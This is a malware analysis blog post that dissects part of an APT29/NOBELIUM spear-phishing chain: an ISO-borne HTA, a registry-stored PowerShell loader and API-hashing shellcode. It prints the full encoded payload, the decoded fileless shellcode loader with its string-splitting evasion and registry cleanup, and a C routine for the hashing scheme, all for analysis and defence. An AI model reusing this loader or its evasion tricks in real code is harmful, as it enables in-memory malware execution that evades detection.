Let's analyze NOBELIUM APT29 – Part 1

Background and Motive

I came across a highly intriguing incident that is linked to state-sponsored groups known as APTs or Advanced Persistent Threats. The incident is related to the notorious APT29 or NOBELIUM group, and after reading some publicly available blogs, I felt that something was missing, so I took it upon myself to write a blog that would provide more visibility and in-depth information on each component. Despite the existence of the malware infection chain and detection rules, I felt that I could provide a more comprehensive analysis of the situation.

What is APT29 ?

NOBELIUM or APT29 is thought to be linked to the SVR(the Foreign Intelligence Service of the Russian Federation) as investigators reported, also it was reported that APT29 has a very long history of attacking and targeting governmental organizations, non-governmental organizations, and many others.

What is HTML smuggling?

Microsoft Threat Intelligence Center (MSTIC) has disclosed a new evasive malware delivery technique that leverages HTML5 and JS that it calls HTML smuggling.

This technique gets its name from the fact that the malware developers chose to smuggle in or hide a malicious blog of JavaScript within an HTML email attachment.

This was the way the attackers chose to deliver their malware in a very targeted spear-phishing attack.To read more about this malware delivery technique and the most common incidents that have been reported as using this technique to kick off their malware infection chain, you can look at this very nice blog at MalwareBytes which details this technique and the best security mitigation against.

Technical in-depth analysis of the infection chain

It was reported that the infection chain started with a weaponized disk image file (ISO), that embeds a malicious HTML application file(HTA) that contains a malicious JS blob, which we'll look at later. That disk image was delivered via a spear-phishing campaign as an attachment.

Initial infection: Malicious HTA

Upon mounting the attached ISO disk image, it drops an HTA file named "Covid.HTA", which when executed, malicious JS blob embedded within will be executed.

We first notice that it creates a WSH(Windows Script Host) object called "Wscript. Shell", which allows you to execute and run commands|programs on the system as well as manipulating the system registry. We can see that it's using this object to write two entries of type "REG_SZ" to the registy key "HKEY_CURRENT_USER\SOFTWARE\JavaSoft\", as we'll see later one of these entries is just a simple powershell loader, that will load the encoded shellcode written to the other entry to stage up for the next stage in the infection chain.

Moving forward we see that it gets the contents of a hidden HTML element with the ID " P1 " this is just a blob of base64 encoded Unicode text which is written to "HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Ver".

res = document.getElementById("p1").innerHTML;
a.RegWrite("HKEY_CURRENT_USER\\SOFTWARE\\JavaSoft\\Ver", res, "REG_SZ");
<div id="p1" style="visibility: hidden;">[SySTeM.TExt.EnCodIng]::UNiCOdE.gEtSTRINg([SySteM.cONVERT]::fRomBAse64STrINg('UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAAMgA7AFsAQgB5AHQAZQBbAF0AXQAkAHYAYQByAF8AYwBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAHAAIABIAEsAQwBVADoAXABcAFMATwBGAFQAVwBBAFIARQBcAFwASgBhAHYAYQBTAG8AZgB0ACkALgBWAGUAcgAyACkAOwBSAGUAbQBvAHYAZQAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAASABLAEMAVQA6AFwAXABTAE8ARgBUAFcAQQBSAEUAXABcAEoAYQB2AGEAUwBvAGYAdAAgAC0ATgBhAG0AZQAgAFYAZQByACAALQBGAG8AcgBjAGUAOwBSAGUAbQBvAHYAZQAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAASABLAEMAVQA6AFwAXABTAE8ARgBUAFcAQQBSAEUAXABcAEoAYQB2AGEAUwBvAGYAdAAgAC0ATgBhAG0AZQAgAFYAZQByADIAIAAtAEYAbwByAGMAZQA7ACQAUwB5AHMAdABlAG0AQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEcAZQB0AEEAcwBzAGUAbQBiAGwAaQBlAHMAKAApACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAATABvAGMAYQB0AGkAbwBuACAALQBDAEwAaQBrAGUAIAAnACoAUwB5AHMAdABlAG0ALgBkAGwAbAAnADsAJABVAG4AcwBhAGYAZQBOAGEAdABpAHYAZQBNAGUAdABoAG8AZABzACAAPQAgACQAUwB5AHMAdABlAG0AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcATQBpAGMAJwArACcAcgBvAHMAbwBmAHQALgBXACcAKwAnAGkAbgAzADIALgBVAG4AcwBhAGYAZQBOAGEAdABpACcAKwAnAHYAZQBNAGUAdABoAG8AZABzACcAKQA7ACQARwBlAHQATQBvAGQAdQBsAGUASABhAG4AZABsAGUAIAA9ACAAJABVAG4AcwBhAGYAZQBOAGEAdABpAHYAZQBNAGUAdABoAG8AZABzAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAEcAZQAnACsAJwB0AE0AbwAnACsAJwBkAHUAbAAnACsAJwBlAEgAYQBuAGQAbABlACcAKQA7ACQAdgA9ACcAVgBpACcAKwAnAHIAdAAnACsAJwB1AGEAbAAnACsAJwBBAGwAJwArACcAbABvAGMAJwA7ACQARwBlAHQAUAByAG8AYwBBAGQAZAByAGUAcwBzACAAPQAgACQAVQBuAHMAYQBmAGUATgBhAHQAaQB2AGUATQBlAHQAaABvAGQAcwAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBHAGUAJwArACcAdABQAHIAbwAnACsAJwBjAEEAZABkACcAKwAnAHIAZQBzAHMAJwAsAFsAVAB5AHAAZQBbAF0AXQBAACgAWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAEgAYQBuAGQAbABlAFIAZQBmAF0ALABbAFMAdAByAGkAbgBnAF0AKQApADsAJABLAGUAcgBuADMAMgBIAGEAbgBkAGwAZQAgAD0AIAAkAEcAZQB0AE0AbwBkAHUAbABlAEgAYQBuAGQAbABlAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAEAAKAAnAGsAZQAnACsAJwByAG4AZQAnACsAJwBsADMAMgAuAGQAbABsACcAKQApADsAJAB0AG0AcABQAHQAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBuAHQAUAB0AHIAOwAkAEgAYQBuAGQAbABlAFIAZQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAEgAYQBuAGQAbABlAFIAZQBmACgAJAB0AG0AcABQAHQAcgAsACAAJABLAGUAcgBuADMAMgBIAGEAbgBkAGwAZQApADsAJABBAGQAcgBlAHMAcwBBAGwAbABvAGMAIAA9ACAAIAAkAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABAACgAWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAEgAYQBuAGQAbABlAFIAZQBmAF0AJABIAGEAbgBkAGwAZQBSAGUAZgAsACAAJAB2ACkAKQA7ACQARABvAG0AYQBpAG4AIAA9ACAAWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuADsAJABEAHkAbgBBAHMAcwBlAG0AYgBsAHkAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACgAJwBSAGUAJwArACcAZgBsAGUAYwAnACsAJwB0AGUAZABEAGUAJwArACcAbABlAGcAYQB0AGUAJwApADsAJABBAHMAcwBlAG0AYgBsAHkAQgB1AGkAbABkAGUAcgAgAD0AIAAkAEQAbwBtAGEAaQBuAC4ARABlAGYAaQBuAGUARAB5AG4AYQBtAGkAYwBBAHMAcwBlAG0AYgBsAHkAKAAkAEQAeQBuAEEAcwBzAGUAbQBiAGwAeQAsACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBFAG0AaQB0AC4AQQBzAHMAZQBtAGIAbAB5AEIAdQBpAGwAZABlAHIAQQBjAGMAZQBzAHMAXQA6ADoAUgB1AG4AKQA7ACQATQBvAGQAdQBsAGUAQgB1AGkAbABkAGUAcgAgAD0AIAAkAEEAcwBzAGUAbQBiAGwAeQBCAHUAaQBsAGQAZQByAC4ARABlAGYAaQBuAGUARAB5AG4AYQBtAGkAYwBNAG8AZAB1AGwAZQAoACcASQBuAE0AJwArACcAZQBtAG8AcgAnACsAJwB5AE0AbwBkAHUAbABlACcALAAgACQAZgBhAGwAcwBlACkAOwAkAFQAeQBwAGUAQgB1AGkAbABkAGUAcgAgAD0AIAAkAE0AbwBkAHUAbABlAEIAdQBpAGwAZABlAHIALgBEAGUAZgBpAG4AZQBUAHkAcABlACgAJwBNAHkARAAnACsAJwBlAGwAZQBnACcAKwAnAGEAdABlAFQAeQBwAGUAJwAsACAAJwBDAGwAYQBzAHMALAAgAFAAdQBiAGwAaQBjACwAIABTAGUAYQBsAGUAZAAsACAAQQBuAHMAaQBDAGwAYQBzAHMALAAgAEEAdQB0AG8AQwBsAGEAcwBzACcALAAgAFsAUwB5AHMAdABlAG0ALgBNAHUAbAB0AGkAYwBhAHMAdABEAGUAbABlAGcAYQB0AGUAXQApADsAJABDAG8AbgBzAHQAcgB1AGMAdABvAHIAQgB1AGkAbABkAGUAcgAgAD0AIAAkAFQAeQBwAGUAQgB1AGkAbABkAGUAcgAuAEQAZQBmAGkAbgBlAEMAbwBuAHMAdAByAHUAYwB0AG8AcgAoACcAUgBUAFMAcABlAGMAaQBhAGwATgBhAG0AZQAsACAASABpAGQAZQBCAHkAUwBpAGcALAAgAFAAdQBiAGwAaQBjACcALAAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQwBhAGwAbABpAG4AZwBDAG8AbgB2AGUAbgB0AGkAbwBuAHMAXQA6ADoAUwB0AGEAbgBkAGEAcgBkACwAIABAACgAWwBJAG4AdABQAHQAcgBdACwAIABbAFUASQBuAHQAMwAyAF0ALAAgAFsAVQBJAG4AdAAzADIAXQAsACAAWwBVAEkAbgB0ADMAMgBdACkAIAApADsAJABDAG8AbgBzAHQAcgB1AGMAdABvAHIAQgB1AGkAbABkAGUAcgAuAFMAZQB0AEkAbQBwAGwAZQBtAGUAbgB0AGEAdABpAG8AbgBGAGwAYQBnAHMAKAAnAFIAdQBuAHQAaQBtAGUALAAgAE0AYQBuAGEAZwBlAGQAJwApADsAJABNAGUAdABoAG8AZABCAHUAaQBsAGQAZQByACAAPQAgACQAVAB5AHAAZQBCAHUAaQBsAGQAZQByAC4ARABlAGYAaQBuAGUATQBlAHQAaABvAGQAKAAnAEkAbgB2ACcAKwAnAG8AawBlACcALAAgACcAUAB1AGIAbABpAGMALAAgAEgAaQBkAGUAQgB5AFMAaQBnACwAIABOAGUAdwBTAGwAbwB0ACwAIABWAGkAcgB0AHUAYQBsACcALAAgACgAWwBJAG4AdABQAHQAcgBdACkALAAgAEAAKABbAEkAbgB0AFAAdAByAF0ALAAgAFsAVQBJAG4AdAAzADIAXQAsACAAWwBVAEkAbgB0ADMAMgBdACwAIABbAFUASQBuAHQAMwAyAF0AKQApADsAJABNAGUAdABoAG8AZABCAHUAaQBsAGQAZQByAC4AUwBlAHQASQBtAHAAbABlAG0AZQBuAHQAYQB0AGkAbwBuAEYAbABhAGcAcwAoACcAUgB1AG4AdABpAG0AZQAsACAATQBhAG4AYQBnAGUAZAAnACkAOwAkAEEAbABsAG8AYwBEAGUAbABlAGcAYQB0AGUAIAA9ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAkAFQAeQBwAGUAQgB1AGkAbABkAGUAcgAuAEMAcgBlAGEAdABlAFQAeQBwAGUAKAApADsAJAB2AGEAcgBfAHYAYQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAcwBoAGEAbABdADoAOgBHAGUAdABEAGUAbABlAGcAYQB0AGUARgBvAHIARgB1AG4AYwB0AGkAbwBuAFAAbwBpAG4AdABlAHIAKAAkAEEAZAByAGUAcwBzAEEAbABsAG8AYwAsACQAQQBsAGwAbwBjAEQAZQBsAGUAZwBhAHQAZQApADsAJAB2AGEAcgBfAGIAdQBmAGYAZQByACAAPQAgACQAdgBhAHIAXwB2AGEALgBJAG4AdgBvAGsAZQAoAFsASQBuAHQAUAB0AHIAXQA6ADoAWgBlAHIAbwAsACQAdgBhAHIAXwBjAG8AZABlAC4AbABlAG4AZwB0AGgALAAgADAAeAAzADAAMAAwACwAMAB4ADQAMAApADsAWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAE0AYQByAHMAaABhAGwAXQA6ADoAQwBvAHAAeQAoACQAdgBhAHIAXwBjAG8AZABlACwAMAAsACQAdgBhAHIAXwBiAHUAZgBmAGUAcgAsACQAdgBhAHIAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAKQA7ACQARABvAG0AYQBpAG4AIAA9ACAAWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuADsAJABEAHkAbgBBAHMAcwBlAG0AYgBsAHkAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACgAJwBSAGUAZgBsACcAKwAnAGUAYwB0AGUAZABEACcAKwAnAGUAbABlACcAKwAnAGcAYQB0AGUAJwApADsAJABBAHMAcwBlAG0AYgBsAHkAQgB1AGkAbABkAGUAcgAgAD0AIAAkAEQAbwBtAGEAaQBuAC4ARABlAGYAaQBuAGUARAB5AG4AYQBtAGkAYwBBAHMAcwBlAG0AYgBsAHkAKAAkAEQAeQBuAEEAcwBzAGUAbQBiAGwAeQAsACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBFAG0AaQB0AC4AQQBzAHMAZQBtAGIAbAB5AEIAdQBpAGwAZABlAHIAQQBjAGMAZQBzAHMAXQA6ADoAUgB1AG4AKQA7ACQATQBvAGQAdQBsAGUAQgB1AGkAbABkAGUAcgAgAD0AIAAkAEEAcwBzAGUAbQBiAGwAeQBCAHUAaQBsAGQthat itAZQByAC4ARABlAGYAaQBuAGUARAB5AG4AYQBtAGkAYwBNAG8AZAB1AGwAZQAoACcASQBuAE0AZQBtACcAKwAnAG8AcgB5AE0AbwBkAHUAbABlACcALAAgACQAZgBhAGwAcwBlACkAOwAkAFQAeQBwAGUAQgB1AGkAbABkAGUAcgAgAD0AIAAkAE0AbwBkAHUAbABlAEIAdQBpAGwAZABlAHIALgBEAGUAZgBpAG4AZQBUAHkAcABlACgAJwBNAHkARABlACcAKwAnAGwAZQBnAGEAJwArACcAdABlAFQAeQBwAGUAJwAsACAAJwBDAGwAYQBzAHMALAAgAFAAdQBiAGwAaQBjACwAIABTAGUAYQBsAGUAZAAsACAAQQBuAHMAaQBDAGwAYQBzAHMALAAgAEEAdQB0AG8AQwBsAGEAcwBzACcALAAgAFsAUwB5AHMAdABlAG0ALgBNAHUAbAB0AGkAYwBhAHMAdABEAGUAbABlAGcAYQB0AGUAXQApADsAJABDAG8AbgBzAHQAcgB1AGMAdABvAHIAQgB1AGkAbABkAGUAcgAgAD0AIAAkAFQAeQBwAGUAQgB1AGkAbABkAGUAcgAuAEQAZQBmAGkAbgBlAEMAbwBuAHMAdAByAHUAYwB0AG8AcgAoACcAUgBUAFMAcABlAGMAaQBhAGwATgBhAG0AZQAsACAASABpAGQAZQBCAHkAUwBpAGcALAAgAFAAdQBiAGwAaQBjACcALAAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQwBhAGwAbABpAG4AZwBDAG8AbgB2AGUAbgB0AGkAbwBuAHMAXQA6ADoAUwB0AGEAbgBkAGEAcgBkACwAQAAoAFsASQBuAHQAUAB0AHIAXQApACAAKQA7ACQAQwBvAG4AcwB0AHIAdQBjAHQAbwByAEIAdQBpAGwAZABlAHIALgBTAGUAdABJAG0AcABsAGUAbQBlAG4AdABhAHQAaQBvAG4ARgBsAGEAZwBzACgAJwBSAHUAbgB0AGkAbQBlACwAIABNAGEAbgBhAGcAZQBkACcAKQA7ACQATQBlAHQAaABvAGQAQgB1AGkAbABkAGUAcgAgAD0AIAAkAFQAeQBwAGUAQgB1AGkAbABkAGUAcgAuAEQAZQBmAGkAbgBlAE0AZQB0AGgAbwBkACgAJwBJAG4AJwArACcAdgBvAGsAZQAnACwAIAAnAFAAdQBiAGwAaQBjACwAIABIAGkAZABlAEIAeQBTAGkAZwAsACAATgBlAHcAUwBsAG8AdAAsACAAVgBpAHIAdAB1AGEAbAAnACwAIAAoAFsAVgBvAGkAZABdACkALAAgAEAAKABbAEkAbgB0AFAAdAByAF0AKQApADsAJABNAGUAdABoAG8AZABCAHUAaQBsAGQAZQByAC4AUwBlAHQASQBtAHAAbABlAG0AZQBuAHQAYQB0AGkAbwBuAEYAbABhAGcAcwAoACcAUgB1AG4AdABpAG0AZQAsACAATQBhAG4AYQBnAGUAZAAnACkAOwAkAEEAbABsAG8AYwBEAGUAbABlAGcAYQB0AGUAMgAgAD0AIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACQAVAB5AHAAZQBCAHUAaQBsAGQAZQByAC4AQwByAGUAYQB0AGUAVAB5AHAAZQAoACkAOwAkAHYAYQByAF8AcgB1AG4AbQBlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEcAZQB0AEQAZQBsAGUAZwBhAHQAZQBGAG8AcgBGAHUAbgBjAHQAaQBvAG4AUABvAGkAbgB0AGUAcgAoACQAdgBhAHIAXwBiAHUAZgBmAGUAcgAsACQAQQBsAGwAbwBjAEQAZQBsAGUAZwBhAHQAZQAyACkAOwAkAHYAYQByAF8AcgB1AG4AbQBlAC4ASQBuAHYAbwBrAGUAKABbAEkAbgB0AFAAdAByAF0AOgA6AFoAZQByAG8AKQA='))|iex</div>

Now Using the following CyberChef recipe, we decode this back to the following powershell.

Set-StrictMode -Version 2;[Byte[]]$var_code = [System.Convert]::FromBase64String((gp HKCU:\\SOFTWARE\\JavaSoft).Ver2);Remove-ItemProperty HKCU:\\SOFTWARE\\JavaSoft -Name Ver -Force;Remove-ItemProperty HKCU:\\SOFTWARE\\JavaSoft -Name Ver2 -Force;$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object Location -CLike '*System.dll';$UnsafeNativeMethods = $SystemAssembly.GetType('Mic'+'rosoft.W'+'in32.UnsafeNati'+'veMethods');$GetModuleHandle = $UnsafeNativeMethods.GetMethod('Ge'+'tMo'+'dul'+'eHandle');$v='Vi'+'rt'+'ual'+'Al'+'loc';$GetProcAddress = $UnsafeNativeMethods.GetMethod('Ge'+'tPro'+'cAdd'+'ress',[Type[]]@([System.Runtime.InteropServices.HandleRef],[String]));$Kern32Handle = $GetModuleHandle.Invoke($null, @('ke'+'rne'+'l32.dll'));$tmpPtr = New-Object IntPtr;$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle);$AdressAlloc =  $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $v));$Domain = [AppDomain]::CurrentDomain;$DynAssembly = New-Object System.Reflection.AssemblyName('Re'+'flec'+'tedDe'+'legate');$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run);$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InM'+'emor'+'yModule', $false);$TypeBuilder = $ModuleBuilder.DefineType('MyD'+'eleg'+'ateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]);$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, @([IntPtr], [UInt32], [UInt32], [UInt32]) );$ConstructorBuilder.SetImplementationFlags('Runtime, Managed');$MethodBuilder = $TypeBuilder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', ([IntPtr]), @([IntPtr], [UInt32], [UInt32], [UInt32]));$MethodBuilder.SetImplementationFlags('Runtime, Managed');$AllocDelegate = Write-Output $TypeBuilder.CreateType();$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdressAlloc,$AllocDelegate);$var_buffer = $var_va.Invoke([IntPtr]::Zero,$var_code.length, 0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($var_code,0,$var_buffer,$var_code.Length);$Domain = [AppDomain]::CurrentDomain;$DynAssembly = New-Object System.Reflection.AssemblyName('Refl'+'ectedD'+'ele'+'gate');$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run);$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMem'+'oryModule', $false);$TypeBuilder = $ModuleBuilder.DefineType('MyDe'+'lega'+'teType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]);$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard,@([IntPtr]) );$ConstructorBuilder.SetImplementationFlags('Runtime, Managed');$MethodBuilder = $TypeBuilder.DefineMethod('In'+'voke', 'Public, HideBySig, NewSlot, Virtual', ([Void]), @([IntPtr]));$MethodBuilder.SetImplementationFlags('Runtime, Managed');$AllocDelegate2 = Write-Output $TypeBuilder.CreateType();$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer,$AllocDelegate2);$var_runme.Invoke([IntPtr]::Zero)
res = document.getElementById("p2").innerHTML;
a.RegWrite("HKEY_CURRENT_USER\\SOFTWARE\\JavaSoft\\Ver2", res, "REG_SZ");

Moving forward we can see that the same thing happens for the other hidden element with the ID "P2". It gets the contents of the element and then writes it to HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Ver2.

As we'll see later this is just an encoded shellcode blob that will prep for the next stage of the malware infection chain.

Lastly, it builds and executes the following command to execute and load the shellcode written to Ver2 through the PowerShell loader written to Ver.

PowerShell -C Invoke-Expression (gp HKCU:\\SOFTWARE\\JavaSoft).Ver

powershell loader

With a little bit of text formatting and spacing, we'll be able to properly see that the decoded PowerShell just allocates virtual memory and writes the decoded shellcode into then execution is passed on to it.

Another thing to take note of is that at the very beginning after it gets and decodes the shellcode, it removes the registry entries containing both the shellcode and the PowerShell loader, it was just a nice try of preventing later forensic analysis, and leaving no system artifacts behind for investigation.

[Byte[]]$var_code = [System.Convert]::FromBase64String((gp HKCU:\\SOFTWARE\\JavaSoft).Ver2);
Remove-ItemProperty HKCU:\\SOFTWARE\\JavaSoft -Name Ver -Force;
Remove-ItemProperty HKCU:\\SOFTWARE\\JavaSoft -Name Ver2 -Force;

shellcode analysis and LOLbins

LOLbins

Before we get into the details of the decoded shellcode and how it's used to stage up for the next stage of the infection chain, it is worth noting the technique leveraged to execute in-memory malicious code(Memory-Only Malware) without it touching disk using native system tools which is our case PowerShell is referred to as LOLbin.

Living off the land binaries (LOLbins) have the advantage of leaving very minimal system artifacts (IOCs) behind for investigation, as the malware is executed in memory without touching the disk.

shellcode analysis

As I mentioned before, the PowerShell loader written to the registry serves the sole purpose of loading in memory shellcode that will stage up for the next phase of the malware infection chain.

With this in mind let's go ahead and pick it up from there and dive into the shellcode.

What I did was I base64 decoded the shellcode written to the registry, the same way we did before using CyberChef, then saved it to a file to later examine in IDA.

Initially, when you open up this in IDA, you're confronted with IDA saying that it doesn't recognize it as a valid PE file or rather as one of the executable file formats that IDA supports, and it just, therefore, leaves you with the only option of interpreting that file as RAW binary.

Instantly when we let IDA do its magic and disassemble the file, we see a call to an interesting function that takes five arguments.

To demystify what those arguments are and what function does, let's peek into that function.

At the very start of the function, we see the usual shellcode stack string builds, basically in case you don't know what that is and that's your first time to see it, stack string is a common shellcode string obfuscation mechanism thereby malware strings can be built as needed on the go at runtime instead of just hard coding them in. Fortunately, IDA does a pretty good job at building those up and representing them nicely in the decompiler output.

Moving forward, the next thing we notice is a function named sub_B11, that takes a large hex constant.

An experienced malware analyst will recognize this as a function that dynamically resolves function addresses by hash.

Yet another common malware obfuscation technique that tends to complicate the analysis process is dynamic API resolution, where functions are not resolved at load time but rather at runtime, and this is just so to hide identifiable function names from the Import Address Table (IAT).

Now let's take a look at that function, at the very start of the function we see a reference to the FS:0x30 register access, FS is not a dedicated purpose register but rather one of the segment registers that gets its purpose from the OS, in our case it points to a thread data structure which is the TIB.

I am not going too much into the details as you can find tons of other resources that already explain that very well, in any case, you're more welcome to reach out if you want some help.

The main thing to understand here is it's getting the address of another data structure which is called the process environment block (PEB), which holds user-mode accessible information about the currently running process including the list of loaded modules, process startup arguments, and others.

Having obtained the PEB pointer, it walks the list of loaded modules, hashes the names, and then breaks on the first module with non-zero exports. It turns out that NTDLL.DLL is the first DLL to be loaded right after the executable image, therefore it ends up having a base pointer to NTDLL.DLL.

You might be asking why is it checking for the number of exported entries, my thinking is it's looking for the hash of the first DLL loaded, as only DLLs are supposed to expose functions to be imported by executable images.

The hashing algorithm used to generate hashes for module names is as simple as the standard ROT13 cipher with the letters converted to uppercase.

A little PoC for the hashing algorithm, that calculates the hash for ntdll.dll.

#include <stdio.h>
#include <wchar.h>
#include <string.h>
#include <stdint.h>

#define ROR32(value, bits) ((value >> bits) | (value << (32 - bits)))

int calc_dll_hash(const wchar_t* name)
{
    uint32_t running_hash = 0;
    size_t length = (wcslen(name) +1 )* 2;
    uint32_t rot = 0;
    char c;

    for (size_t i = 0; i < length; ++i)
    {
        rot = ROR32(running_hash, 13); // ROT13
         c =*(char*)((char*)name + i);

        if (c < 0x61)
            running_hash = c + rot;
        else
            running_hash = c - 0x20 + rot;
    }

    return running_hash;
}


int main(int argc , char** argv[])
{

        int hash = calc_dll_hash(L"ntdll.dll");
        printf("0x%x\n",hash);

}                                                                                                                                                                                                                                                               

The same hashing algorithm is used to calculate a hash value over the exported function name (standard ROT13).

Having calculated the hash for NTDLL.DLL as well as the exported func name, the hash values of both of them are added and then compared to the passed-in hash value.

Mainly the target function whose address is to be resolved is represented as the sum of the two hash values of the target DLL as well as the function of interest.

What stood out for me is that the function accepts a single hash value which in my experience is a little odd, as mostly we see two hash values passed in, one for the DLL and the other for the function within the DLL.

However, in our case, the developers chose to represent the target function to lookup by hash with a single hash value.

That wraps up the getAddrByHash, which returns the address of a target function by hash, very much similar to the Windows API function GetProcAddress, which resolves a function address at runtime given the name of the function.

The other hash value is unsurprisingly for LdrGetProcedureAddress.

As you may have already guessed, this is a pretty standard shellcode dynamic function address resolution sequence.

One thing worth noting here is the fact that the authors decided to go with the NTDLL equivalents of LoadLibrary and GetProcAddress functions, probably they're trying to avoid the use of common functions that are likely to be hooked by sandbox solutions.

Early on in our discussion, we saw that the main shellcode function took a few arguments which we didn't have any clue at the time what they are, however, a picky analyst will recognize from the way the first argument is used in the context and the offsets added to, that it's some module base address.

With a little bit of labeling, we can tell that it's parsing the headers, and checking fields of interest.

Mainly, the rest of the function involves using dynamically resolved functions like VirtualAlloc and VirtualProtect to properly map that module in memory. Then, the execution is transferred to an export within that module.

You may be wondering how I knew that the module referred to is a DLL. As I read through the rest of the function, I noticed that a pointer was obtained to the export directory of the module, and a loop was set up to iterate through the exported functions. The function then hashed the names using the same ROT13 cipher and compared them against the weird hex value that was passed into the function as the second argument.

It turns out that the hex value is a hash of one of the functions exported by the DLL.

That concludes part 1 of our detailed analysis series on APT29 NOBELIUM. In the next part, we will focus on dynamically analyzing the extracted shellcode to dump the DLL to the disk. Then we will perform a static analysis of the DLL to examine the target export function of interest and see how it is used to set up for the next stage of the infection chain.

Last updated